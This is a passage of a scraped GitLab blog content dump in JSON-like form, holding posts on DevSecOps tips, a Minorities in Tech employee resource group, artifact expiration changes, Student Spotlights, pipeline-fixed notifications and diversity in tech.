dealing with vulnerabilities after code is merged. Next, look for a pattern in the type or source of those security vulnerabilities, and make adjustments for improvement.\n2. Identify pain points and software risks between development and security, create a plan to resolve them, and then execute on that plan. \n3. Make small code changes. Smaller updates are easier to review and secure and can be launched more quickly than monolithic project changes.\n4. Automate and integrate security scans. Make scans ubiquitous so that every secure code change is reviewed and security flaws are found at their source of creation.\n5. Build security scans into the developer's workflow. Integrated security enables developers to find and fix vulnerabilities before the code ever leaves their hands. This also reduces the volume of open-source vulnerabilities sent to the security team, streamlining their review.\n6. Give developers access to SAST and DAST reports. While this is important for remediation, it's also a valuable tool to help developers build secure coding practices.\n7. Reduce or eliminate any waterfall-style security processes within your SDLC. You should always be able to change direction as needs arise: Keep your organization and your security controls nimble.\n8. Give the security team visibility into both resolved and unresolved vulnerabilities in code, where the vulnerabilities reside, who created them, and their status for remediation.\n9. Streamline your toolchain so that employees can focus their attention on a single interface: A single source of truth.\n\n_How efficient are your DevSecOps practices? [Take our DevSecOps Maturity Assessment to find out.](https://about.gitlab.com/resources/devsecops-methodology-assessment/)_\n\n**Learn more about DevSecOps:**\n\n[How to harden your GitLab instance](/blog/gitlab-instance-security-best-practices/)\n\n[Make your toolchain more secure](/blog/toolchain-security-with-gitlab/)\n\n[Our goals with Zero Trust](/blog/zero-trust-at-gitlab-problems-goals-challenges/)\n\nCover image by [Marc Sendra Martorell](https://unsplash.com/@marcsm) on [Unsplash](https://unsplash.com/photos/-Vqn2WrfxTQ)\n{: .note}\n",[1899,2368,4103,674],{"slug":23108,"featured":6,"template":678},"efficient-devsecops-nine-tips-shift-left","content:en-us:blog:efficient-devsecops-nine-tips-shift-left.yml","Efficient Devsecops Nine Tips Shift Left","en-us/blog/efficient-devsecops-nine-tips-shift-left.yml","en-us/blog/efficient-devsecops-nine-tips-shift-left",{"_path":23114,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23115,"content":23121,"config":23127,"_id":23129,"_type":16,"title":23130,"_source":17,"_file":23131,"_stem":23132,"_extension":20},"/en-us/blog/gitlab-empowers-minorities-in-tech-with-erg",{"title":23116,"description":23117,"ogTitle":23116,"ogDescription":23117,"noIndex":6,"ogImage":23118,"ogUrl":23119,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23119,"schema":23120},"GitLab launches new resource group for minorities in tech","People of color are more likely than any other group to voluntarily leave their jobs in tech. Employee resource groups, mentorship opportunities, and allyship can create a more inclusive workplace.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681369/Blog/Hero%20Images/dib-mit-2.png","https://about.gitlab.com/blog/gitlab-empowers-minorities-in-tech-with-erg","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're working to empower Minorities in Tech with a new employee resource group\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-06-18\",\n      }",{"title":23122,"description":23117,"authors":23123,"heroImage":23118,"date":23124,"body":23125,"category":299,"tags":23126},"We're working to empower Minorities in Tech with a new employee resource group",[17272],"2020-06-18","\n\n_This is the final part of our three-part series on diversity, inclusion and belonging. [Part one](/blog/our-journey-to-a-diverse-and-inclusive-workplace/) focuses on GitLab's diversity goals and efforts to date. [Part two](/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry/) examines some of the challenges with diversity, inclusion, and belonging in the tech industry as a whole, and shares some recommendations on how to overcome them._\n\nPeople of color are more likely than any other group to voluntarily leave their jobs in the tech industry due to persistent unfairness in the workplace – whether that is due to stereotyping and discrimination, or because opportunities for career advancement are lacking.\n\nIn the [Tech Leavers Study](https://www.kaporcenter.org/wp-content/uploads/2017/08/TechLeavers2017.pdf) by the Kapor Center for Social Impact, one-quarter of men and women from underrepresented groups reported experiences of stereotyping in the workplace.\n\n“One of the discriminations that I’ve had to deal with outright is my size and my skin color,\" says [Sharif Bennett](/company/team/#SharifATL), mid-market account executive at GitLab. “I’m about 6'3 and some would relay back to me that people that had a conversation about me and one of the things that were said about me was that I was intimidating and scary.\"\n\nThe persistence of stereotyping and discrimination in the tech workplace is just one reason why [employee resource groups (TMRGs)](https://medium.com/@sarah.cordivano/employee-resource-groups-part-1-b684aa249420), such as [GitLab’s Minorities in Tech (MIT)](/company/culture/inclusion/erg-minorities-in-tech/) TMRG, are so important. TMRGs allow team members to create a safe space for cultural exchange, connection, and opportunities for growth and mentorship. Beyond the benefits of creating a more inclusive workplace, TMRGs can help support diversity initiatives, such as offering community insight into culturally sensitive marketing campaigns or recruiting and advancing top talent from diverse talent pools.\n\n## Inside the MIT TMRG\n\nIn fall 2019, [Candace Byrdsong Williams](/company/team/#cwilliams3), diversity and inclusion partner, and GitLab team members launched four TMRGs: Pride, Women, DiversABILITY, Minorities in Tech (MIT), and the Gender Minorities TMRG is new and forthcoming.\n\nOne of the TMRGs that has come the furthest since the launch is the MIT TMRG, led by Sharif, and [Aricka Flowers](/company/team/#atflowers), manager, Digital Production at GitLab. MIT aims to create a safe space for underrepresented minorities to communicate, unite, and share experiences while working at GitLab, but participation is open to allies as well.\n\n> \"With the MIT TMRG, we aim to create a safe space for minority-identifying GitLab team members and allies to come together and have a measurable impact on how our company not only increases the diversity within our workforce but also retains and supports those who are from underrepresented communities,\" says Aricka, co-lead of the [DIB Advisory Group](/company/culture/inclusion/influencer-group-guide/). “As we launch into our first full year of operation, we have identified four priorities for the MIT TMRG and are piloting a mentorship program that gives members direct access to top leadership and enables increased support and visibility for, and communication from, diverse voices within our organization.\"\n\nMIT has four major initiatives for 2020:\n\n*   Recruit more underrepresented minorities to different roles at GitLab\n*   Participate in external events (now virtually) with community partners\n*   Internal outreach to encourage more participation from underrepresented minorities and allies at GitLab (e.g., create an internal newsletter)\n*   [Launch of the MIT Mentorship Program](/company/culture/inclusion/erg-minorities-in-tech/mentoring/), which connects underrepresented minorities with mentors who could range from people managers to senior leadership\n\n“We’ve all been at organizations where we’ve felt there has been a lack of mentorship for people of color and minorities,\" says Sharif, who along with [Darva Satcher](/company/team/#engineering-manager-create-ds), backend engineering manager Create:Knowledge and Create: Editor at GitLab, is leading the mentorship initiative.\n\n“Mentoring generally happens with executives and most of the time they mentor people who remind them of themselves,\" says Sharif. \"We wanted to develop a program that was geared toward people of color and members of the group to gain exposure as to what goes on at the executive level and c-suite executive level.\"\n\n## MIT TMRG launches mentorship program\n\nToday, GitLab has no Black or Latinx folks in leadership positions. The lack of representation for people of color at the leadership level at GitLab is a significant problem, and we are committed to remedying this by hiring or promoting a Black leader to the director level or above by 2021. [Read part one of our blog series](/blog/our-journey-to-a-diverse-and-inclusive-workplace/) to learn more about our DIB strategy.\n\nOne of the best ways to make GitLab, and the tech leadership landscape at-large, less white and male is to create opportunities for advancement specifically for people of color. Creating opportunities for growth for underrepresented minorities through mentorship with executive and senior leadership is among the most valuable diversity initiatives a company can launch, according to the [Harvard Business Review (HBR)](https://hbr.org/cover-story/2019/11/toward-a-racially-just-workplace).\n\nThe MIT Mentorship Program pilot program kicked off in June 2020, and has matched 20 underrepresented minorities at GitLab with managers and executives who have taken a similar career path. The mentee-mentor pair will identify a problem at GitLab and will work together on a project to address this gap. For example, [Romer Gonzalez](/company/team/#romerg), mid-market account executive for Latin America, at GitLab and co-lead for the DIB Advisory Group, will be working with [David Hong](/company/team/#dhong), VP of field operations at GitLab, to expand GitLab’s footprint in Latin America.\n\nThe program lasts from late June to early August 2020, and ends in a [virtual showcase](/company/culture/inclusion/erg-minorities-in-tech/mentoring/program-structure/#what-will-be-presented-in-the-showcase) in September.\n\n## We need allies in leadership\n\nWe have encouraged leaders to set the tone by creating a safe space to talk about the everyday experiences of bias, discrimination, and microaggressions that so many underrepresented minorities face in the workplace. During the DIB roundtable discussion during GitLab's company-wide meeting known as Contribute (virtual for 2020), executive leaders engaged MIT TMRG members in an honest conversation about discrimination and microaggressions in the workplace. By creating a space for candid discussion about a painful and personal topic, our leaders are taking an important step in cultivating a more inclusive work culture.\n\nSharif points out that it cannot be the responsibility of underrepresented minorities in MIT or the other TMRGs to launch diversity initiatives – allies need to join the conversation and use their privilege to advance these initiatives.\n\n“Big wins will come from interrogating seemingly mundane practices and processes, and holding managers and leaders accountable for progress toward your organization’s aspirations,\" [Dr. Melissa Thomas-Hunt](https://www.linkedin.com/in/melissa-thomas-hunt-2843196/) of Airbnb told [HBR](https://hbr.org/2019/11/the-day-to-day-work-of-diversity-and-inclusion).\n\nThe good news is, we continue to make progress at GitLab because we have made DIB a strong priority for our company.\n\n## DIB is an opportunity for GitLab\n\nBuilding a diverse and inclusive work culture where everyone feels a sense of belonging can feel daunting, but it really depends upon your mindset, says Candace. The business case for hiring from a diverse talent pool and creating growth opportunities for underrepresented minorities is clear, but there is also [intrinsic value that comes from creating an inclusive company](https://hbr.org/2018/07/the-other-diversity-dividend). By perceiving DIB as an opportunity and solution, as opposed to a problem, we can go much further.\n\n\"In tech, we’re always taught to ask what is the problem we’re trying to solve and so I would always advise fellow companies that diversity, inclusion, and belonging isn’t a problem to solve. It’s an opportunity and it’s something we should leverage,\" says Candace.\n\n_A sincere thank you to Candace, Aricka, Sharif, and the whole Minorities in Tech (MIT) team for sharing valuable insights to help make this blog series possible, and thank you to our colleagues who are committed to making GitLab a more inclusive workplace._\n\n_[Read part one of our blog series](/blog/our-journey-to-a-diverse-and-inclusive-workplace/) to learn more about our journey and strategy to accelerating progress in DIB at GitLab, and [part two to unpack some of the diversity challenges of the tech industry](/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry/), and how different companies are prioritizing DIB initiatives._\n",[676],{"slug":23128,"featured":6,"template":678},"gitlab-empowers-minorities-in-tech-with-erg","content:en-us:blog:gitlab-empowers-minorities-in-tech-with-erg.yml","Gitlab Empowers Minorities In Tech With Erg","en-us/blog/gitlab-empowers-minorities-in-tech-with-erg.yml","en-us/blog/gitlab-empowers-minorities-in-tech-with-erg",{"_path":23134,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23135,"content":23140,"config":23144,"_id":23146,"_type":16,"title":23147,"_source":17,"_file":23148,"_stem":23149,"_extension":20},"/en-us/blog/job-artifact-meta-data-expiration-change",{"title":23136,"description":23137,"ogTitle":23136,"ogDescription":23137,"noIndex":6,"ogImage":17364,"ogUrl":23138,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23138,"schema":23139},"Artifact and job meta data expiration settings are changing for GitLab.com","Default expiration dates for job meta data and artifacts will change on June 22, 2020. Find out how this benefits all users of GitLab.com","https://about.gitlab.com/blog/job-artifact-meta-data-expiration-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Artifact and job meta data expiration settings are changing for GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Parker Ennis\"}],\n        \"datePublished\": \"2020-06-18\",\n      }",{"title":23136,"description":23137,"authors":23141,"heroImage":17364,"date":23124,"body":23142,"category":736,"tags":23143},[17291],"\n\nTo help maintain overall stability and performance for all GitLab users, some changes are coming to GitLab.com effective June 22, 2020. This will directly impact the default retention period for [older job metadata](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#archive-jobs) as well as enable a [default expiration policy](https://docs.gitlab.com/ee/user/gitlab_com/index.html#gitlab-cicd) for older job artifacts.\n\n## TL;DR\n\n### **Updating GitLab.com's Job Artifact Expiration Policy**\n\nWhat you need to know:\n* Starting June 22, 2020, new job artifacts will immediately default to a 30 day expiration upon initial creation.\n* Existing job artifacts without an expiration date that were created after October 22, 2019, but before June 22, 2020, will have their expiration date set to 1 year after the initial creation date.\n   * _For example, if the last pipeline job you created and ran successfully was on November 10th, 2019, then the job artifacts produced by that job upon completion would have a default expiration date automatically set to November 10th, 2020._\n* Existing job artifacts without an expiration date that were created before October 22, 2019, will have their expiration date set to April 22, 2021.\n   * _For example, if the last pipeline job you created and ran successfully was on July 10th, 2019, then the job artifacts produced by that job upon completion would have a default expiration date automatically set to April 22nd, 2021, unless you specify a different expiration date._\n\nFor additional details, please see our [GitLab.com CI/CD settings documentation](https://docs.gitlab.com/ee/user/gitlab_com/index.html#gitlab-cicd).\n\n### **Default archive of jobs on GitLab.com set to 3 months**\n\nWhat you need to know:\n* Starting June 22, 2020 jobs older than 12 months will be archived.\n* Starting August 6, 2020 jobs older than 6 months will be archived.\n* Starting September 22, 2020 jobs older than 3 months will be archived. This will be the default setting going forward on GitLab.com.\n* New build data will be archived 3 months after creation starting June 22, 2020.\n* New job metadata will be archived 3 months after creation starting June 22, 2020.\nFor additional details, please see our GitLab.com CI/CD settings documentation, linked above.\n\n## Additional context\n\n### What are we doing and why?\n\nThe functionality changes will set build artifacts to expire on GitLab.com after 30 days and archive [build metadata](/blog/building-build-images/) after 3 months. In most cases, you probably aren't utilizing old job artifacts that are sitting in storage and will be set to expire. This same concept applies to old metadata for jobs that aren't getting used and you may have even forgotten about.\n\n### When do the changes take effect?\n\nNew artifacts will have their expiration date set to 30 days by default starting June 22nd, 2020. Existing artifacts will automatically have their expiration dates set to the updated policy if they aren't already set by the aforementioned date. The last of those existing artifacts will have an expiration date of 12 months.\n\nAdditionally, build data older than 12 months will be archived on June 22, 2020 and any other data will be gradually set to expire within 3 months of the original creation date over the next 3 months.\n\n### What if I want to keep my artifacts and data? How can I do that?\n\nDon't worry! You can always override artifact expiration with the 'expire_in' keyword to keep a job artifact longer than 30 days. Additionally, artifacts from the [last successful job](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) that were created after September 22, 2020, will not be archived after 30 days.\n\n### What's the benefit to end users?\n\nThese actions will result in improved performance and value for everyone using GitLab. By making these changes, we'll free up a significant amount of space in both the GitLab.com database and on disk, which results in better reliability/performance. It also reduces operational costs for GitLab, which aids us in continuing to provide all users with the smoothest possible user experience far into the future!\n\n",[1268,774,6962],{"slug":23145,"featured":6,"template":678},"job-artifact-meta-data-expiration-change","content:en-us:blog:job-artifact-meta-data-expiration-change.yml","Job Artifact Meta Data Expiration Change","en-us/blog/job-artifact-meta-data-expiration-change.yml","en-us/blog/job-artifact-meta-data-expiration-change",{"_path":23151,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23152,"content":23157,"config":23162,"_id":23164,"_type":16,"title":23165,"_source":17,"_file":23166,"_stem":23167,"_extension":20},"/en-us/blog/gitlab-for-education-student-spotlights",{"title":23153,"description":23154,"ogTitle":23153,"ogDescription":23154,"noIndex":6,"ogImage":18477,"ogUrl":23155,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23155,"schema":23156},"Apply to be featured as a GitLab Student Spotlight","Feature your work on GitLab.com and get GitLab swag!","https://about.gitlab.com/blog/gitlab-for-education-student-spotlights","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Apply to be featured as a GitLab Student Spotlight\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2020-06-17\",\n      }",{"title":23153,"description":23154,"authors":23158,"heroImage":18477,"date":23159,"body":23160,"category":18484,"tags":23161},[14215],"2020-06-17","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nCalling all Students, Professors, and participants in the [GitLab Education Program](https://about.gitlab.com/solutions/education/): [Apply to the GitLab Student Spotlights](https://docs.google.com/forms/d/e/1FAIpQLSdHzG0IEDw6VlUQDqWsweNRDIdM2HQpoBH-t2OzK1m0_SMeiQ/viewform?usp=sf_link), have your work featured on GitLab.com, and earn some GitLab Swag!\n\nWe want to know: how are you using GitLab for teaching, learning, or research?\n\n## GitLab for Education\n\nSince 2018, the [GitLab for Education](https://about.gitlab.com/solutions/education/) program has been providing free Gold subscriptions and Ultimate licenses to qualifying institutions for the purpose of teaching and learning. In two years, we’ve already provided licenses to over 800 educational institutions worldwide, with a total of 1.6+ million participants!\n\nAt GitLab, we believe that [Everyone can Contribute](https://about.gitlab.com/community/contribute/) - and we want to learn more about how our education communities around the world are contributing to and using GitLab.\n\n## What are Student Spotlights?\n\nThe Student Spotlights program will highlight amazing projects that students and professors are building and creating using GitLab.\n\nSelected projects will be featured via a video-recorded interview with the students and professors (if available) involved. Interviews and project links will be featured on the GitLab Unfiltered YouTube channel and the GitLab for Education main webpage!\n\nThe aim of Student Spotlights is two-fold. By showcasing the great work of our program participants, we want to inspire others to join and share their GitLab projects. Your stories and your work are the best way to share and spread the word!\n\nWe also want to connect and build relationships with institutions already using GitLab for teaching and learning. Our student spotlight participants will be some of the first engaged in our quickly growing education community!\n\n## Who Qualifies\n\nStudents, professors, researchers, and leaders in education using GitLab for Education licenses are eligible to submit projects to the Student Spotlights program.\n\n### Examples of Projects for Student Spotlights\n\n- Students using GitLab to host a blog or portfolio\n- Hosting a coding project using a GitLab repository\n- Managing a student club or project using GitLab issues\n- And more! We want to see all the creative, challenging, and dynamic ways you’re using GitLab.\n\n## Apply for the Student Spotlights Program\n\n- [Submit the Google Form to apply to be featured as a Student Spotlight](https://docs.google.com/forms/d/e/1FAIpQLSdHzG0IEDw6VlUQDqWsweNRDIdM2HQpoBH-t2OzK1m0_SMeiQ/viewform?usp=sf_link)\n- Project applications will be reviewed by the Developer Relations team within 1 week of receiving your application.\n- If your project is chosen, you will be contacted via email to select a time for your video-recorded interview.\n- Christina Hupy, Program Manager of the GitLab Education program, or Samantha Lee, GitLab Community Advocate, will host a 15 minute recorded video interview with each participant to highlight their projects and share how they use GitLab for Education\n- Recorded interviews will be uploaded to GitLab Unfiltered and projects will be featured on the GitLab.com GitLab for Education page\n\n\nHave questions about GitLab Student Spotlights, or the GitLab for Education program? Email us at education@gitlab.com and let us know. We can't wait to see how you are using GitLab for Education!\n",[267,6962,2368,4772],{"slug":23163,"featured":6,"template":678},"gitlab-for-education-student-spotlights","content:en-us:blog:gitlab-for-education-student-spotlights.yml","Gitlab For Education Student Spotlights","en-us/blog/gitlab-for-education-student-spotlights.yml","en-us/blog/gitlab-for-education-student-spotlights",{"_path":23169,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23170,"content":23176,"config":23180,"_id":23182,"_type":16,"title":23183,"_source":17,"_file":23184,"_stem":23185,"_extension":20},"/en-us/blog/notification-on-pipeline-succeeds",{"title":23171,"description":23172,"ogTitle":23171,"ogDescription":23172,"noIndex":6,"ogImage":23173,"ogUrl":23174,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23174,"schema":23175},"Notification emails when pipelines are fixed","How to turn on/off Notifications for when pipelines are fixed","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681358/Blog/Hero%20Images/pipeline_success_unsplash.jpg","https://about.gitlab.com/blog/notification-on-pipeline-succeeds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Notification emails when pipelines are fixed\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2020-06-17\",\n      }",{"title":23171,"description":23172,"authors":23177,"heroImage":23173,"date":23159,"body":23178,"category":18484,"tags":23179},[15485],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nGitLab can send users a notification when a pipeline fails so that they can respond to the failure quickly. Now, GitLab can also send a [notification to inform users when the pipeline has been fixed](https://gitlab.com/gitlab-org/gitlab/-/issues/24309). This new notification eliminates the need for developers to constantly monitor the status of pipeline builds. This lets developers make better use of their precious time.\n\nWe are gradually rolling out this feature in order to test it out. During this testing period, users will start getting notifications for fixed pipelines.\n\nExample email:\n\n![Sample email pipeline fixed](https://about.gitlab.com/images/blogimages/email_notification.png)\n\nTo disable the setting for a particular project only:\n\n1. Go to the **Project overview** page for the project.\n1. Click the **\"bell\"** (Notification setting) button and select **Custom**.\n1. Uncheck the **Fixed pipeline** checkbox.\n\n![Instructions for disabling notification](https://about.gitlab.com/images/blogimages/disable_notification.png)\n\nTo disable the notification for all projects:\n\n1. In the top right, click your user icon and choose **Profile**.\n1. In the top right of the next page, click the **\"pencil\"** (Edit Profile) button.\n1. On the left, click Notifications.\n1. Expand the **Global notification level** drop-down box, and select **Custom**.\n1. Uncheck the Fixed pipeline checkbox.\n\n![Instructions for disabling notification](https://about.gitlab.com/images/blogimages/check_fix_pipeline.png)\n\nIf our tests are successful, this feature will remain active and be enabled by default. If needed, you can disable these notifications if they are not useful for you.\n\nCover image by [Austin Distel](https://images.unsplash.com/photo-1563986768609-322da13575f3?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1650&q=80) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110],{"slug":23181,"featured":6,"template":678},"notification-on-pipeline-succeeds","content:en-us:blog:notification-on-pipeline-succeeds.yml","Notification On Pipeline Succeeds","en-us/blog/notification-on-pipeline-succeeds.yml","en-us/blog/notification-on-pipeline-succeeds",{"_path":23187,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23188,"content":23194,"config":23198,"_id":23200,"_type":16,"title":23201,"_source":17,"_file":23202,"_stem":23203,"_extension":20},"/en-us/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry",{"title":23189,"description":23190,"ogTitle":23189,"ogDescription":23190,"noIndex":6,"ogImage":23191,"ogUrl":23192,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23192,"schema":23193},"How diversity, inclusion, and belonging looks in the tech industry","The tech industry is predominantly white and male, which has historically made it challenging for underrepresented minorities to gain a foothold in leadership.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681364/Blog/Hero%20Images/dib-mit.png","https://about.gitlab.com/blog/what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How diversity, inclusion, and belonging looks in the tech industry\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-06-17\",\n      }",{"title":23189,"description":23190,"authors":23195,"heroImage":23191,"date":23159,"body":23196,"category":299,"tags":23197},[17272],"\n\n_This is the second in our three-part series on diversity, inclusion and belonging. [Part one](/blog/our-journey-to-a-diverse-and-inclusive-workplace/) focuses on GitLab's goals and efforts to date._\n\nIt’s no secret that the tech industry has stumbled, struggled, and in some cases outright failed when it comes to building inclusive workplaces where women, people of color, members of the LGBTQ community, and other underrepresented groups are adequately represented. And how can they, when the majority of people working in and leading tech companies are white men?\n\nIn 2014 several tech companies including Apple, Facebook, and Microsoft, released their first diversity reports, which showed what many people already knew: [The majority of tech workers are white and male](https://www.wired.com/story/five-years-tech-diversity-reports-little-progress/).\n\n\"Most times when you are forming a company people tend to gather those that are a lot like them whether it be race, occupation, gender, etc. As a result you take a look at your company start-up just to realize what you have formed is not as diverse as you would like,\" explains [Candace Byrdsong Williams](/company/team/#cwilliams3), diversity, inclusion, and belonging (DIB) partner at GitLab. \"That’s what tends to happen in a lot of companies. You’re in prep and formation mode and you are thinking how can I make the best product, not how can I gather the best people.\"\n\nForced to work backwards, the CEOs of the aforementioned tech giants vowed to make diversity a top priority. For five years, millions of dollars were spent on diversity initiatives, but research suggests that dollars have done little to help move the dial forward.\n\nIn 2019 separate assessments by Wired Magazine and [TechCrunch](https://techcrunch.com/2019/06/17/the-future-of-diversity-and-inclusion-in-tech/) showed that despite all the lip service paid to diversity, there have been little gains for underrepresented groups at major tech companies. Combined, Black and Latinx employees represented just 3% to 5% of employees at the 23 highest-grossing tech companies, according to a 2016 analysis by the [Kapor Center for Social Impact](https://www.kaporcenter.org/wp-content/uploads/2017/08/TechLeavers2017.pdf).\n\nIt is not just big tech companies that have struggled to build a more diverse workforce and a more inclusive workplace – the tech industry as a whole (including GitLab) has the opportunity to grow and do better.\n\nWe’ve been recognized as the [top company for diversity](/blog/comparably-awards-gitlab-top-culture-diversity-awards/), but our leadership team has no Black or Latinx people at director-or-above levels. Learn how we aim to [accelerate hiring and promotions for Black team members by 2021](/blog/our-journey-to-a-diverse-and-inclusive-workplace/).\n\nIn far too many companies, both in the tech industry and outside of it, diversity and inclusion endeavors are built on good intentions, but rarely are those intentions held to the rigorous standards of other important business targets.\n\n## Diversity has business value\n\nThe main question here is why, when homogeneity in the workforce has been shown to be a losing strategy? There is plenty of anecdotal evidence and [empirical research from Harvard Business Review](https://hbr.org/2016/11/why-diverse-teams-are-smarter) that shows [heterogeneous teams bring gains while homogeneous teams create costs](https://hbr.org/2018/07/the-other-diversity-dividend).\n\nIn a conversation between [Marcus Carter](/company/team/#recruiter), senior sales recruiter at GitLab, and [Ryan O’Nell](/company/team/#ronell), VP of commercial sales at GitLab, Ryan said that his commitment to diversity comes from past experience that shows diverse teams are simply better at problem-solving than homogeneous teams. Hard evidence supports this assertion: Heterogeneous teams focus on facts, they process those facts more carefully and create more innovative solutions, writes David Rock and Heidi Grant of the [Neuroleadership Institute](http://www.neuroleadership.org/) in the Harvard Business Review (HBR).\n\nIt seems simple: Diverse teams drive better business results, so hire more diverse team members – but to focus solely on recruitment is short-sighted.\n\nA common misstep many companies make is looking at recruiting people of color the same way that colleges do, says [Sharif Bennett](/company/team/#SharifATL), mid-market account executive at GitLab, and the co-lead of the [Minorities in Tech (MIT) Team Member Resource Group (TMRG)](/company/culture/inclusion/erg-minorities-in-tech/). The typical workplace doesn’t have the luxury of a ton of new people coming in each year, which means reducing attrition of underrepresented minorities is vital. The best way to do that? Create opportunities for advancement and build inclusive work cultures.\n\n\"Just as important as recruitment is retention,\" says Sharif at the DIB roundtable during GitLab Virtual Contribute 2020. \"Are we creating a safe space? An environment they are connected to, where they are feeling like their work is valued? You’re going to see recruits leave if persons of color aren’t feeling valued.\"\n\nResearch indicates that the most effective diversity and inclusion strategy is one that focuses as much, if not more, on creating an inclusive work environment with opportunities for belonging and advancement.\n\nIn an [interview with HBR](https://hbr.org/2019/11/the-day-to-day-work-of-diversity-and-inclusion), [Dr. Melissa Thomas-Hunt](https://www.linkedin.com/in/melissa-thomas-hunt-2843196), head of global diversity and belonging at Airbnb, advises companies to regularly assess their performance when it comes to DIB, and set diversity and inclusion-specific metrics while also creating real opportunities for mentorship and pathways to advancement for underrepresented minorities, in particular Black employees. Otherwise, many Black employees and other underrepresented minorities will leave for new opportunities.\n\n\"Black employees need to enter generative work environments — ones that allow all people to grow, develop, and flourish, and ones that signal they are valued. Without these, there will be a revolving door of Black talent who arrive excited, energized, and ready to contribute and leave feeling unseen and demoralized,\" says Dr. Hunt to HBR.\n\n## Unfairness pushes too many underrepresented minorities out of tech\n\nSix years after the first round of diversity commitments, big tech companies such as Apple, Facebook and Twitter are pledging to do more to promote diversity and inclusion, and are donating millions to social justice initiatives and organizations supporting the Black community after public outcry following the killing of George Floyd, according to an [article from CNBC](https://www.cnbc.com/2020/06/12/six-years-into-diversity-reports-big-tech-has-made-little-progress.html). However, despite these donations and commitments, the article said progress has been slow with increasing representation of Black professionals in leadership and technical roles in many major tech companies, which continue to be lead predominately by white men.\n\nThe CNBC article analyzed employee demographic data by big tech companies and found only marginal increases in the number of Black employees at many major companies. In companies that have bigger increases in the number of Black employees, those employees are often being hired for non-technical roles in distribution centers and for support roles, which are lower-paying than technical roles. Although hiring of Black professionals and people of color may increase, there are typically higher rates of turnover among people of color than other non-minority groups, says Margaret Neale, a Stanford professor quoted by CNBC.\n\nAttrition of underrepresented minorities is certainly not unique to these big tech companies. The findings of the Tech Leavers Study shows that attrition of underrepresented minorities is a significant problem in the tech industry at-large.\n\nThe Tech Leavers Study investigated who is voluntarily leaving the tech industry and why. The findings show that underrepresented minorities are more likely than non-minority groups to voluntarily leave their jobs in the tech industry. The number one reason? **Unfairness**.\n\nUnfairness or mistreatment was the number one driver of turnover among those surveyed – a problem that costs the tech industry an estimated $16 billion annually, according to the Tech Leavers Study. Of all the underrepresented groups surveyed by the Kapor Center, men of color were the most likely to leave their job in tech due to unfairness (40%). The experiences of unfairness differed across groups, but one-quarter of underrepresented men and women of color said they experienced stereotyping in the workplace.\n\nThe antidote to unfairness? Fairness, and an effective diversity and inclusion strategy. In the Tech Leavers Study, 62% of respondents say they would have stayed at their company if the company had taken steps to create a positive and respectful work environment, and 57% of respondents would have stayed if the company had taken steps to create a fair and inclusive work culture.\n\n## Building an effective DIB strategy\n\nThe Tech Leavers Study identified five common D&I initiatives that help reduce incidents of mistreatment in the workplace. When all five initiatives are in place, there is a large reduction in experiences of unfairness, according to the study. All five strategies are implemented at GitLab, where [DIB](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) is one of our core values. It is through the efforts of Candace, the leads of our five TMRGs, and the company at large that we’ve made some considerable progress.\n\n1. [Hire a D&I director](/company/team/#cwilliams3)\n2. [Set explicit diversity goals](/company/culture/inclusion/#performance-indicators)\n3. [Pay bonuses for employee referrals for employees from underrepresented backgrounds](/handbook/incentives/#referral-bonuses)\n4. [Conduct unconscious bias training](https://handbook.gitlab.com/handbook/values/#unconscious-bias)\n5. [Establish Team Member Resource Groups (TMRGs)](/company/culture/inclusion/#ergs",[676],{"slug":23199,"featured":6,"template":678},"what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry","content:en-us:blog:what-diversity-inclusion-and-belonging-looks-like-in-the-tech-industry.yml","What Diversity Inclusion And Belonging Looks Like In The Tech 